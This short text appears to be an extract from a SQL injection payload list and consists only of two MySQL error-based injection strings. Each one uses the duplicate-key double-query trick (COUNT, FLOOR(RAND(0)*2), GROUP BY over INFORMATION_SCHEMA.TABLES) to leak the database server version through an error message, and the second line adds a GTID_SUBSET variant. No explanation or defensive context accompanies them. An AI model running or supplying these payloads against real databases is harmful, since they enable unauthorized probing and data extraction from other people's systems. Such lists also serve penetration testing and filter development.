(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)
(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)